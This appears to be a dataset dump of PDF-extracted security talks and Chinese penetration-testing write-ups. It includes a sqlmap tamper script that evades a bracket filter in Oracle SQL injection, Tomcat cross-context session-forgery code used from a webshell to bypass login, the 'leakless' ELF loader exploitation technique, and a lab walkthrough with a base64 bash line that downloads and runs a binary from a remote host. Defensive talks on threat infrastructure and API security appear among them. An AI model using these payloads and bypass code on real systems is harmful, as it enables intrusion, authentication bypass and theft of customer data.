scale\n結論\n電信通訊攸關你我生活，眾多的標準、政治性\n商業考量限制更多元的應用\n行動通訊與自由\n普及運算的時代到來\n面對前所未有的安全衝擊\n美國憲法：「人民有免於恐懼的自由」"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":68,"cells":{"text":{"kind":"string","value":"PART 01\nCONTENTS\nPART 02\nPART 03\nPART 04\n01\n02\n03\n04\nPART \n01\n• \n• \n• \n• \n• \nPART \n01\nRecon\nWeaponiza\ntion\ndelivery\nExploitatio\nn\nInstallation\nCommand\n/ Control\nAction on\nObjections\n•\n•\n•\n•\nI\n•\n•\n•\n•\n•\n• \n• \n• \n• \n• \nPART \n02\n-\n• -\n• \n• \n• \n• \n• >>\nPART \n03\n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n• \n 1\n .\n 144\n 235"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":69,"cells":{"text":{"kind":"string","value":"2021-9-27 Written By J0o1ey QQ/vx 547006660\n如有红队/渗透测试方向培训需求、或其他业务项目可联系我\n在对某 SRC 测试时，本人根据其证书信息收集到了部分深度子域，并找到了其对\n应的业务 IP 段\n写了个 shell 脚本+ffuf 批量 fuzz 某 src c 段资产目录\nfuzz 发现了 xxSRC c 段的一个提供了 webservice 的服务器\nhttp://180.*.*.*/webservice/\n获取到接口\nhttp://180.*.*.*/webservice/syncOrderToOdcService\n使用 soup ui 进行调试\n数据\n<soapenv:Envelope\nxmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"\nxmlns:odc=\"http://odc.ws.qiku.com/\">\n<soapenv:Header/>\n<soapenv:Body>\n<odc:syncOrderInfo>\n<!--Optional:-->\n<arg0></arg0>\n</odc:syncOrderInfo>\n</soapenv:Body>\n</soapenv:Envelope>\n<arg0></arg0>\n当<arg0></arg0>中间无参数值时\nSoap 接口抛出了一个 Oracle 的错误信息，并提示“Date format error,YY-MM-DD”\n随后很简单了，构造一个符合条件的 date 数据\n2021-9-23\nSoap request：\n<soapenv:Envelope\nxmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"\nxmlns:odc=\"http://odc.ws.qiku.com/\">\n<soapenv:Header/>\n<soapenv:Body>\n<odc:syncOrderInfo>\n<!--Optional:-->\n<arg0>2021-9-23</arg0>\n</odc:syncOrderInfo>\n</soapenv:Body>\n</soapenv:Envelope>\narg0 处为日期参数，指定日期，即可查询到 xx src 商城所有订单信息\n属于严重泄露客户数据的漏洞\n看了一下 oracle 都爆出 SQL 的错误信息了，并且没有预编译相关的提示，这不得\n注入一波？\n但是在注入的时候发现程序会将括号()过滤掉，导致函数无法执行，sqlmap 注入\n不出来\n这时候就要用到骚姿势了\n在 Oracle 中文版本中,中文括号（）可以代替英文()而且不报错！\nEG:\n# 纯中文括号\nSQL> select （1+1） from dual;\n（1+1）\n----------\n2\n剩下的就很简单了，改一个 tamper 出来\n#!/usr/bin/env python\n\"\"\"\nCopyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)\nSee the file 'doc/COPYING' for copying permission\n\"\"\"\nimport os\nimport re\nfrom lib.core.common import singleTimeWarnMessage\nfrom lib.core.enums import DBMS\nfrom lib.core.enums import PRIORITY\n__priority__ = PRIORITY.HIGHEST\ndef dependencies():\nsingleTimeWarnMessage(\"tamper script '%s' is unlikely to work against %s\" %\n(os.path.basename(__file__).split(\".\")[0], DBMS.PGSQL))\ndef tamper(payload, **kwargs):\nretVal = payload\nif payload:\nretVal = re.sub(r\"\\s*(\\s*\", \"（\", retVal)\nretVal = re.sub(r\"\\s*)\\s*\", \"）\", retVal)\nreturn retVal\n>>>python sqlmap.py -r xxx.txt --dbs --tamper=brackets.py\n//注入请求，在日期处\n加*\nw 到手，收摊"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":70,"cells":{"text":{"kind":"string","value":"遇到一个场景，当前/app路径下无法写入任何的jsp文件，但/ROOT下可以写，\n但/ROOT/ 下写的无法直接Class.forName等操作/app/下的类。\n测试发现tomcat的类加载器 ParallelWebappClassLoader 可获取到所有context\n信息。\n思路其实就是通过当前context获取到parent，也就是host，在基于host搜索其他\ncontext，如下\nthis.getClass().getClassLoader().resources.context.parent.children\n其实主要目的是找classloader，所以直接找到\nthis.getClass().getClassLoader().resources.context.parent.childClassLoaders\n/manager 的类加载器可以看到没有任何class\n而我们应用的则多上不少，破坏父类委派的表现。\n代码实现如下\n ClassLoader classLoader = \nThread.currentThread().getContextClassLoader();\n try {\n Object resources = \ngetFieldValue(this.getClass().getClassLoader(), \"resources\");\n Map<Object, String> childClassLoaders = \n(Map<Object, String>)\n getFieldValue(\n getFieldValue(\n getFieldValue(resources, \n\"context\"), \n \"parent\"),\n \"childClassLoaders\");\n for (Map.Entry entry : \nchildClassLoaders.entrySet()) {\n if (entry.getValue().equals(\"/app\")) {\n classLoader = \n(ClassLoader)entry.getKey();\n break;\n }\n }\n } catch (Exception ignored) {\n }\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n public static Object getFieldValue(Object obj, String \nfieldName) throws Exception {\n Field f = null;\n if (obj instanceof Field) {\n f = (Field)obj;\n } else {\n Method method = null;\n Class cs = obj.getClass();\n while(cs != null) {\n try {\n f = cs.getDeclaredField(fieldName);\n cs = null;\n } catch (Exception var6) {\n cs = cs.getSuperclass();\n }\n }\n }\n f.setAccessible(true);\n return f.get(obj);\n }\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n又有个问题，我想绕过认证，直接生成有效session，分析了目标应用，他的认证\n是将user写入到session中，那么session怎么跨context注入，我回头想我在context里找\n一个已有的session就行了，没必要用当前使用的。\n查了下资料，tomcat管理session的方式，有一个ConcurrentHashMap存储所有\nsession，一般是在context下，所以和上面思路一样\nthis.getClass().getClassLoader().resources.context.manager.sessions\n遇到一个小bug，下面方法所在类的类加载器可能并不是\nParallelWebappClassLoader，所以需要搜索下父类，如下\n public Object getSession(String id) throws Exception {\n Object session = null;\n java.lang.ClassLoader classLoader = \nthis.getClass().getClassLoader();\n int count = 0;\n while \n(!classLoader.getClass().getName().contains(\"ParallelWebappCla\nssLoader\")) {\n classLoader = classLoader.getParent();\n if (count > 10) {\n break;\n }\n count += 1;\n }\n if (count > 10) {\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n上面还有个细节，用的是 this.getClass().getClassLoader() ，而不是\nThread.Current.getContextClassLoader() ，因为我如果在其他context下，虽\n然把上面方法对应的类已经加载到指定context里，但\nThread.Current.getContextClassLoader() 仍然还是当前context，只有\nthis.getClass().getClassLoader() 才是加载此类上下文所对应的类加载器，\n才能正确加载其他工具类，不然就报错，当然\nthis.getClass().getClassLoader() 可能就有个问题，就是这个classloader可能\n不是 ParallelWebappClassLoader ，需要父类递归遍历下。\n半自动化搜索也可以\n return session;\n }\n Object context = \ngetFieldValue(getFieldValue(classLoader,\"resources\"), \n\"context\");\n Map<String, Object> sessions = (Map<String, Object>) \ngetFieldValue(getFieldValue(context, \"manager\"), \"sessions\");\n for (Map.Entry<String, Object> entry: \nsessions.entrySet()) {\n if (id.equals(entry.getKey())) {\n session = getFieldValue(entry.getValue(), \n\"facade\");\n }\n }\n return session;\n }\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n//设置搜索类型包含Request关键字的对象\nList<Keyword> keys = new ArrayList<>();\nkeys.add(new \nKeyword.Builder().setField_type(\"StandardSession\").build());\n//定义黑名单\n//新建一个广度优先搜索Thread.currentThread()的搜索器\n1\n2\n3\n4\n5\n最终效果就如下，成功在/ROOT的webshell中，操作实际应用context的指定\nsession，注入伪造的user，从而绕过认证登录后台。（想到之前的vcenter，它还不一\n样，是多个进程独立java运行，不存在这种情况，所以没法）\n顺便编写了哥斯拉插件实现该功能。\nSearchRequstByBFS searcher = new \nSearchRequstByBFS(Thread.currentThread(),keys);\n// 设置黑名单\n//打开调试模式,会生成log日志\nsearcher.setIs_debug(true);\n//挖掘深度为20\nsearcher.setMax_search_depth(20);\n//设置报告保存位置\nsearcher.setReport_save_path(\".\");\nsearcher.searchObject();\n6\n7\n8\n9\n10\n11\n12\n13\n14"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":71,"cells":{"text":{"kind":"string","value":"How the ELF ruined\nChristmas\nAlessandro Di Federico\nUC Santa Barbara\nJuly 18, 2015\nIndex\nThe exploit\nThe dynamic loader\nThe attacks\nRELRO\nImplementation\nRecap & countermeasures\nThe exploitation process\n1 Find a useful vulnerability\n2 Obtain code execution\n3 Perform the desired actions\nOur focus is on the last step\nHow can we perform the attack in presence of specific\ncountermeasures?\nCode execution is not enough\n• Being able to divert execution is important\n• But the problem is then where to point execution\n• Modern operating systems prevent execution of data\nCode reuse attacks\n• It’s not possible to introduce new executable data\n• Let’s reuse existing code!\n• return-into-libc\n• return-oriented programming\nAddress Space Layout\nRandomization\n• The OS randomizes the position of libraries\n• The code is there, but where?\nThe typical situation\n• The position of the main executable is usually known\n• Its image keeps references to imported library functions\n• printf\n• memcpy\n• ...\nThe need for a memory leak\n• Suppose printf is imported but execve is not,we can:\n1 Obtain the address of printf\n2 Compute the distance between printf and execve\n3 Divert execution to\naddressOf(printf)−distance(printf, execve)\nThe problem\n• Requires a memory leak vulnerability\n• Requires knowledge about the layout of the library\n• Requires an interaction between the victim and the attacker\nLet’s re-think the attack\nWhat are we trying to do?\nWe’re trying to obtain the address\nof an arbitrary library function\nWe already have an operating system component for that\nThe dynamic loader\nIndex\nThe exploit\nThe dynamic loader\nThe attacks\nRELRO\nImplementation\nRecap & countermeasures\nELF\n• ELF stands for Executable and Linking Format\n• We’ll consider it to be divided in sections\n• .text: executable code\n• .data: writeable global data\n• .rodata: read-only global data\n• .bss: uninitialized global data\n• ...\nCalling a library function\ni n t\nmain ( )\n{\np r i n t f ( \" Hello\nworld ! \\ n \" ) ;\nreturn\n0;\n}\nCalling a library function\ni n t\nmain ( )\n{\np r i n t f @ p l t ( \" Hello\nworld ! \\ n \" ) ;\nreturn\n0;\n}\nThe Procedure Linkage Table (PLT)\n• It’s an executable section (.plt)\n• Contains a trampoline for each imported library function\nLazy loading: printf@plt pseudocode\ni f\n( f i r s t _ c a l l )\n{\n/ /\nFind\np r i n t f ,\ncache\ni t s\naddress and jump\n_dl_runtime_resolve ( current_object_info ,\n123);\n}\nelse\n{\njmp ⇤( cached_printf_address )\n}\n• _dl_runtime_resolve is part of the dynamic loader\n• current_object_info is a struct describing the ELF\n• 123 is the identifier of the printf relocation\n.rel.plt\n.dynsym\n.dynstr\n...\nr offset\nr info\n...\nr offset\nr info\n...\nElf Rel\nElf Rel\n...\nst name\nst info\n...\n...\nst name\nst info\n...\n...\nElf Sym\nElf Sym\n...\nread\\0\n...\nprintf\\0\n...\ndl runtime resolve(link map obj, reloc index)\nThe resolver\n_dl_runtime_resolve proceeds as follow:\n1 Find the symbol associated to the relocation\n2 Write the symbol value at the address in r_offset\n3 Transfer execution to the target function\nWhere does r_offset point?\n• r_offset points to an entry in the Global Offset Table\n• The GOT is stored in the .got.plt section\n• It holds an entry for each imported function\nSections recap\n.plt contains trampolines to enable lazy loading\n.got.plt a table of cached addresses of the imported\nfunctions\n.rel.plt a table of relocations, one for each imported\nfunction\n.dynsym a table of symbols, used by the relocations\n.dynstr a list of NULL-terminated strings representing\nsymbol names\nIndex\nThe exploit\nThe dynamic loader\nThe attacks\nRELRO\nImplementation\nRecap & countermeasures\nThe attack scenario\n• Suppose that:\n• our exploit is able to run a ROP chain\n• we have simple gadgets to write memory locations\n• What can we do?\nNaive approach\n.rel.plt\n.dynsym\n.dynstr\n...\nr offset\nr info\n...\nr offset\nr info\n...\nElf Rel\nElf Rel\n...\nst name\nst info\n...\n...\nst name\nst info\n...\n...\nElf Sym\nElf Sym\n...\nread\\0\n...\nprintf\\0\n...\ndl runtime resolve(link map obj, reloc index)\nNaive approach\n.rel.plt\n.dynsym\n.dynstr\n...\nr offset\nr info\n...\nr offset\nr info\n...\nElf Rel\nElf Rel\n...\nst name\nst info\n...\n...\nst name\nst info\n...\n...\nElf Sym\nElf Sym\n...\nread\\0\n...\nexecve\\0\n...\ndl runtime resolve(link map obj, reloc index)\nThis is not possible!\nThis is not possible!\n.dynstr is read-only\nThe .dynamic section\n• The dynamic loader doesn’t lookup sections by name\n• All the needed information are in the .dynamic section\n• .dynamic contains a key value pairs:\nd_tag\nd_value\nDT_SYMTAB\n.dynsym\nDT_STRTAB\n.dynstr\nDT_JMPREL\n.rel.plt\nDT_PLTGOT\n.got.plt\n.dynamic is writeable!\n.dynsym\n.dynstr\n.bss\n.dynamic\n...\nst name\nst info\n...\n...\nElf Sym\n...\nread\\0\nprintf\\0\n...\n...\nd tag: DT STRTAB\nd val\n...\nElf Dyn\n...\nread\\0\nexecve\\0\n...\nIndex\nThe exploit\nThe dynamic loader\nThe attacks\nRELRO\nImplementation\nRecap & countermeasures\nRELocation ReadOnly\n• RELRO is a binary hardening technique\n• It aims to prevent attacks as those just described\n• It’s available in two flavors: partial and full\nPartial RELRO\n• Some fields of .dynamic must be initialized at run-time\n• This is the reason it’s not marked as read-only in the ELF\n• With partial RELRO1 it is marked R/O after initialization\n1gcc -Wl,-z,relro\nThe previous attack doesn’t work anymore\nAnother idea\n.rel.plt\n.dynsym\n.dynstr\n...\nr offset\nr info\n...\nr offset\nr info\n...\nElf Rel\nElf Rel\n...\nst name\nst info\n...\n...\nst name\nst info\n...\n...\nElf Sym\nElf Sym\n...\nread\\0\n...\nprintf\\0\n...\ndl runtime resolve(link map obj, reloc index)\nCan we force the loader to look into a writeable area?\nWhat’s after .rel.plt?\n$ readelf −S / bin / echo\nSection Headers :\n[ Nr ] Name\nAddr\nSize\nFlg\n[\n5]\n. dynsym\n08048484 000370\nA\n[\n6]\n. dynstr\n080487 f4 000261\nA\n[10]\n. r e l . p l t\n08048b5c 000178\nA\n[12]\n. p l t\n08048ce0 000300\nAX\n[13]\n. t e x t\n08048fe0 0035d0\nAX\n[21]\n. dynamic 0804 f e f c 0000 f0\nWA\n[23]\n. got . p l t\n0804 f f f 4\n0000c8\nWA\n[24]\n. data\n080500c0 000060\nWA\n[25]\n. bss\n08050120 0001a4\nWA\n.rel.plt\n.bss\n...\nr info\nr offset\n...\nElf Rel\nr info\nr offset\nst name\nst info\n...\nexecve\\0\n...\nElf Rel\nElf Sym\ndl runtime resolve(l info, reloc index)\nreloc_index = target−baseof(.rel.plt)\nsizeof(Elf32_Rel)\nElf32_Rel.r_info = target2−baseof(.dynsym)\nsizeof(Elf32_Sym)\nElf32_Sym.st_name = target3−baseof(.dynstr)\nSymbol versioning\n• ELF allows to depend on a certain symbol version\n• r_info is used also as an index in another table\n• Two options:\n1 r_info points in both cases to .bss\n2 r_info points to a 0 for version and in .bss for the symbol\nIs it doable?\n• This constraints are computed by leakless automatically\n• However sometimes they are not satisfiable\n• In particular with 64-bit ELFs using huge pages\n• The distance between .rel.plt and .bss is too large\nAnother option\n_dl_runtime_resolve(current_object_info, reloc_index);\n• We tried to abuse reloc_index\n• What about current_object_info?\n• It’s a pointer to a link_map structure\n• The pointer is always loaded from GOT[1]\n• Its l_info field caches pointers to .dynamic entries\nAnother option\nIf we tamper with it we get back to the first attack!\n.plt.got\n[heap]\n.dynamic\n.dynstr\n.bss\ngot[0]\ngot[1]\ngot[2]\n...\n...\n...\nl info[DT HASH]\nl info[DT STRTAB]\nl info[DT SYMTAB]\n...\n...\nlink map\n...\nd tag: DT STRTAB\nd val\n...\nElf Dyn\n...\nread\\0\nprintf\\0\n...\nd tag: DT STRTAB\nd val\n...\nread\\0\nexecve\\0\n...\nElf Dyn\nThe full RELRO situation\n• Full RELRO2 complicates the situation:\n• Lazy loading is disabled\n• The GOT is marked read-only after being fully initialized\n• Therefore:\n• Pointer to the link_map structure not available in GOT[1]\n• Also, _dl_runtime_resolve is not available (GOT[2])\n• Can’t write in the GOT\n2gcc -Wl,-z,relro,-z,now\nDT_DEBUG to the rescue\n• Let’s the take a look at the DT_DEBUG .dynamic entry\n• Its used by gdb to track the loading of new libraries\n• Points to an r_map structure...\nr_map holds a pointer to link_map!\n.dynamic\n[heap]\n.plt.got\n.dynamic\n.dynstr\n.bss\n.dynsym\n...\nd tag: DT DEBUG\nd val\n...\nd tag: DT STRTAB\nd val\n...\nElf Dyn\nElf Dyn\n...\nr version\nr map\n...\n...\n...\nl info[DT STRTAB]\n...\nl info[DT JMPREL]\n...\nl next\n...\n...\n...\nl info[DT PLTGOT]\n...\n...\nr debug\nlink map\nlink map\n...\nd tag: DT PLTGOT\nd val\n...\nElf Dyn\nGOT[0]\nGOT[1]\nGOT[2]\n...\nd tag: DT JMPREL\nd val\nr info\nr offset\nreloc target\nd tag: DT STRTAB\nd val\n...\nread\\0\nexecve\\0\n...\nElf Dyn\nElf Dyn\nElf Rel\n...\nread\\0\nprintf\\0\n...\ndl runtime resolve(l info, reloc index)\n...\nst name\nst info\n...\n...\nElf Sym\nIndex\nThe exploit\nThe dynamic loader\nThe attacks\nRELRO\nImplementation\nRecap & countermeasures\nleakless\n• leakless implements all these techniques\n• Automatically detects which is the best approach\n• Outputs:\n• Instructions on where to write what\n• If provided with gadgets, the ROP chain for the attack\nGadgets\nRELRO\nGadget\nN\nP\nH\nF\n?(destination) = value\nX\nX\nX\nX\n?(?(pointer)+offset) = value\nX\nX\n?(destination) = ?(?(pointer)+offset)\nX\n?(stack_pointer +offset) = ?(source)\nX\nWhat loaders are vulnerable?\nWe deem vulnerable:\n• The GNU C Standard Library (glibc)\n• dietlibc, uClibc and newlib\n• OpenBSD’s and NetBSD’s loader\nNot vulnerable:\n• Bionic (PIE-only)\n• musl (no lazy loading)\n• (FreeBSD’s loader)\nHow many binaries?\nIndex\nThe exploit\nThe dynamic loader\nThe attacks\nRELRO\nImplementation\nRecap & countermeasures\nWhat are the advantages of leakless?\n1. Single stage\n1. Single stage\n• It doesn’t require a memory leak vulnerability\n• It doesn’t require interaction with the victim\n• “Offline” attacks are now feasible!\n2. Reliable and portable\n2. Reliable and portable\n• If feasible, the attack is deterministic\n• A copy of the target library is not required\n• Since it mostly relies on ELF features it’s portable\n• Exception: link_map, but it’s just minor fixes\n3. Short\n3. Short\n• One could implement the loader in ROP\n• longer ROP chains\n• increased complexity\n• The cost from the second call on is negligible\n4. Code reuse and stealthiness\n4. Code reuse and stealthiness\n• Everything is doable with syscalls\n• But it’s usually more invasive\n• With leakless you can do this:\nPidgin example\nvoid ⇤p\n, ⇤a ;\np = purple_proxy_get_setup ( 0 ) ;\npurple_proxy_info_set_host (p ,\n\" l e g i t .com \" ) ;\npurple_proxy_info_set_port (p ,\n8080);\npurple_proxy_info_set_type (p , PURPLE_PROXY_HTTP) ;\na = purple_accounts_find ( \" usr@xmpp\" ,\n\" prpl −xmpp \" ) ;\npurple_account_disconnect ( a ) ;\npurple_account_connect ( a ) ;\n5. Automated\n5. Automated\n• leakless automates most of the process\n• The user only needs to provide gadgets\nCountermeasures\n• Use PIE\n• Disable DT_DEBUG if not necessary\n• Make loader’s data structure read-only\n• Validate input\nBut most importantly\nBinary formats and core system components\nshould be designed with security in mind\nAcknowledgments\nAll of this was possible thanks to:\n• Amat Cama\n• Yan Shoshitaishvili\n• Giovanni Vigna\n• Christopher Kruegel\nThanks\nLicense\nThis work is licensed under the Creative Commons\nAttribution-ShareAlike 3.0 Unported License. To view a copy of\nthis license, visit http://creativecommons.org/licenses/by-sa/3.0/\nor send a letter to Creative Commons, 444 Castro Street, Suite\n900, Mountain View, California, 94041, USA."},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":72,"cells":{"text":{"kind":"string","value":"Know Your Foe\nThreat Infrastructure Analysis Pitfalls\nWho Are We?\n○ Founders of PassiveTotal\n○ Analysts/researchers with 10+ years of \ncollective experience\n○ Interested in\n● Better UX/UI for security systems\n● Improving/re-thinking analyst workflows\n● Imparting our knowledge\n#knowyourfoe | @PassiveTotal\n1.\nAnalysis\nBackground\nWhat’s the threat research \nprocess?\n#knowyourfoe | @PassiveTotal\nThreat Analysis Lifecycle\n2.\nCollect \nData\n3.\nMake \nAssessment\n1.\nSurface \nSuspicious \n#knowyourfoe | @PassiveTotal\n○ Signatures and monitors\n○ In-house data collection and analysis\n○ Proactive research to identify threats\n○ Paid feeds of data and threat intelligence\nThreat Analysis Lifecycle\n2.\nCollect \nData\n3.\nMake \nAssessment\n1.\nSurface \nSuspicious \n#knowyourfoe | @PassiveTotal\n○ Collect data from all OSINT sources\n○ Pay for analysis or data feeds from providers\n○ Preserve any relevant activity for the case\n○ Contact private research groups or networks\nThreat Analysis Lifecycle\n2.\nCollect \nData\n3.\nMake \nAssessment\n1.\nSurface \nSuspicious \n#knowyourfoe | @PassiveTotal\n○ Aggregate enough data to derive the full picture\n○ Consult multiple sources and weight opinions\n○ Use subject matter expertise to determine good or \nbad\nTell Me About “youtubee.xyz”\n●\nResolves to \n185.86.167.27\n●\nGeolocation of \nTurkey\n●\nActive since June \n1st 2015\n●\nUses Ideal Hosting \nas a provider\n●\nKnown malware \nassociated with \ndomain and IP\n●\nWHOIS \ninformation is \nprivacy protected\n●\nLabeled as \nphishing on \nblacklist\n●\nUses AS29262\n●\nPart of /24 subnet \non 185.86.167.0/24\n●\nDomain is not \ndynamic DNS\n●\nIP address is not a \nsinkhole\n●\nLarge amount of \nassociations to IP\n2.\nCommon\nPitfalls\nAvoid weak connections and \nfalse conclusions\n#knowyourfoe | @PassiveTotal\nConnections \nusing Subnets.\nSubnets are network \nallocations given to \npotential businesses or \norganizations to host \nInternet-facing \ninfrastructure.\n#knowyourfoe | @PassiveTotal\nExample: 185.86.167.27 is part of 185.86.167.0/24\nPitfalls with Subnets\n○ Subnet sizes could include thousands of \npotential addresses\n○ Allocations are not clearly delegated\n● Who owns the allocation?\n● Is it being resold?\n○ Contiguous block of addresses may have \nno relation to each other\n○ Medium-to-low connection value\n#knowyourfoe | @PassiveTotal\nConnections \nusing AS.\nAutonomous systems \nadvertise subnets on the \nInternet and link through \npeering agreements \nusing routing protocols.\n#knowyourfoe | @PassiveTotal\nExample: 185.86.167.27 is part of AS29262\nPitfalls with Autonomous Systems\n○ Similar to subnets only larger (100,000s)\n○ AS name may not reflect the true \noperator of the network\n○ Subject to influence and disruption (BGP \nhijacking, DDoS)\n○ Low connection value\n#knowyourfoe | @PassiveTotal\nConnections \nusing WHOIS.\nWHOIS is a protocol that \nlets anyone query for \ninformation about a \ndomain, IP address or \nsubnet.\n#knowyourfoe | @PassiveTotal\nExample: youtubee.xyz WHOIS reveals little\nPitfalls with WHOIS\n○ Data is easily faked and not verified by a \ncentral registry\n○ Privacy protect services obfuscate real \ndata\n○ Domains change owners over time\n○ Direct data match does not imply \nconnection\n○ Medium connection value\n#knowyourfoe | @PassiveTotal\nConnections \nusing Dynamic \nDNS.\nDynamic DNS provides \nan alternative to the \ntraditional process of \nmanaging DNS records \nfor infrastructure that \nfrequently changes IP \naddresses.\n#knowyourfoe | @PassiveTotal\nExample: youtubee.xyz is not using dynamic DNS\nPitfalls with Dynamic DNS\n○ Freely available or extremely cheap\n○ Difficult to derive ownership or usage \ntime\n○ Mimics semantics of a real domain\n○ Thousands of possible combinations\n○ Medium-to-low connection value\n#knowyourfoe | @PassiveTotal\nConnections \nusing Sinkholes.\nSinkholes are tools used \nby defenders to redirect \ntraffic destined to \nmalicious resources in \norder to identify victims \nand avoid future \ncompromises.\n#knowyourfoe | @PassiveTotal\nExample: 185.86.167.27 is not a sinkhole\nPitfalls with Sinkholes\n○ No single registry of sinkhole information\n○ May appear to connect unrelated \ninfrastructure\n○ Could be mistaken for hosting provider\n○ Skews time of operations\n○ Low connection value\n#knowyourfoe | @PassiveTotal\nConnections \nusing Hosting \nProviders.\nHosting providers like \ncontent delivery \nnetworks, web hosting \nand virtual private \nservers make the \nInternet run. \n#knowyourfoe | @PassiveTotal\nExample: 185.86.167.27 is part of iDeal Hosting in Turkey\nPitfalls with Hosting Providers\n○ Associates a lot of activity into one place\n○ Potentially obfuscates the true source of \na destination\n○ Could easily be re-used due to resource \nconstraints\n○ Comes with numerous defaults\n○ Low connection value\n#knowyourfoe | @PassiveTotal\nAvoiding Pitfalls\n○ Use analyst systems that allow for \nfeedback and automated collection\n○ Create a checklist of items to lookout for\n● Known sinkholes, dynamic DNS providers, \nhosting providers, etc.\n○ Validate conclusions with multiple data \npoints\n#knowyourfoe | @PassiveTotal\n3.\nPassiveTotal\nto the Rescue\nA platform created for \nanalysts, by analysts\n#knowyourfoe | @PassiveTotal\nRegister for free: https://www.passivetotal.org/register\nCore Platform Features\nMultiple Sources\nDeduplicated data from the \nmajor passive DNS sources \ninto one common format.\nDetailed Enrichment\nEnrichment data including \nWHOIS, malware samples, SSL \ncertificates, Geolocation and \nmore.\nVisual Indicators\nRich tags and visualizations \nthat quickly provide key \nfacts about the queried \nresults.\nPersisted Research\nSimple feedback loops through \nclassifications and analyst \ntagging.\n#knowyourfoe | @PassiveTotal\nThanks!\nAny questions?\nSteve Ginty\nsteve@passivetotal.org\nBrandon Dixon\nbrandon@passivetotal.org"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":73,"cells":{"text":{"kind":"string","value":"OWASP TOP 10\n01\nOWASP Top10\nA03：2021-注入\nA05:2021-配置错误\nAPI 安全痛点\n02\n甲方漏洞现状\n编号\n漏洞标题\n定义\n1\n水平越权\n对象级别的越权，通过某个遍历参数可以访问到其他对象资源\n2\n过度数据暴露\n依赖通用方法，开发人员倾向于公开所有对象属性而不考虑其各自的敏感度，依赖客户端\n在向用户显示数据前执行数据筛选，返回的数据也缺失脱敏操作\n3\n注入\n当不受信任的数据作为命令或查询的一部分发送给解释器 时，就会出现注入缺陷，如 \nSQL、NoSQL、命令注入等。 攻击者的恶意数据可诱使解释器在未经恰当授权的情况下 \n执行非预期的命令或访问数据\n4\n业务安全缺陷\n业务逻辑上的缺陷，主要是过分信任用户的输入，这些漏洞跟业务强相关\n5\n安全配置错误\n安全错误配置通常是由于不安全的默认配置、不完整或临 时配置、开放云存储、开发\nswagger，配置错误的HTTP 头、不必要的 HTTP 方法、允许跨域资源共享(CORS)和包\n含敏感信 息的详细错误消息造成的\n6\n高并发缺陷\n攻击者通过并发http/tcp请求而达到次获奖、多次收获、多次获赠等非正常逻辑所能触发\n的效果，一般都是系统幂等性设计缺失或者错误导致的额\n痛点\nAPI多\n发版快\n敏感多数据\n人力支撑困难\n越权占比高\nAPI 安全收敛体系\n03\nSDL BP架构\n漏洞收敛体系\n应用安全三板斧\n应用安全三板斧之IAST\nAPI 网关\nAPI 管控平台\n提问环节\n提问环节"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":74,"cells":{"text":{"kind":"string","value":"1\n启元学堂REDV靶场练习\n环境部署\n⼯具\nStart\n看readme即可\nX-C2\n冰蝎3\nwebanalyzer\n...\n⼊⼝点：http://192.168.88.101/\n环境部署\n⼯具\nStart\n2\n看下指纹，⾁眼看上去就是hexo\n1 {\n2 \"name\": \"Hexo\",\n3 \"version\": \"5.3.0\",\n3\n⽬录扫描\n没什么东⻄\n4 \"detail\": \"regex \\\"Hexo(?: v?([\\\\d.]+))?\\\" match meta[gene\nrator] of http://192.168.88.101/\",\n5 \"origin\": \"wappalyzer\"\n6 },\n4\nweb1上⾯81端⼝还有服务\n应该要⽤CVE-2021-3129打\ntips:\n攻击的结果基本所有脚本都是写在laravel.log，但是这个路径在实战中很有可能是不存在的，需要去猜。\n我是⽤mac测试的，因为payload貌似不能换⾏，需要加-w0\nhttps://stackoverflow.com/questions/46463027/base64-doesnt-have-w-option-in-mac\n这上⾯说的是mac下的-w0是默认的，还是不⾏，只能换linux。\n5\n这个漏洞如果找不到log路径，可以配合fastcgi或者redis打。\n把脚本改⼀下，找到利⽤链之后⽀持⾃定义命令\n6\n中后⻔。\n1 bash=bash -c {echo,Y2QgL3RtcC8gJiYgY3VybCBodHRwOi8vMTkyLjE2OC44OC4\nxMDA6ODA4MS93ZWIxICAtbyBuZ2lueCAmJiBjaG1vZCAreCBuZ2lueCAmJiAuL25na\nW54}|{base64,-d}|{bash,-i}\n7\n发现是不出⽹的，我配置的⽹络环境只允许dmz出⽹。\n写冰蝎⻢\n1 echo 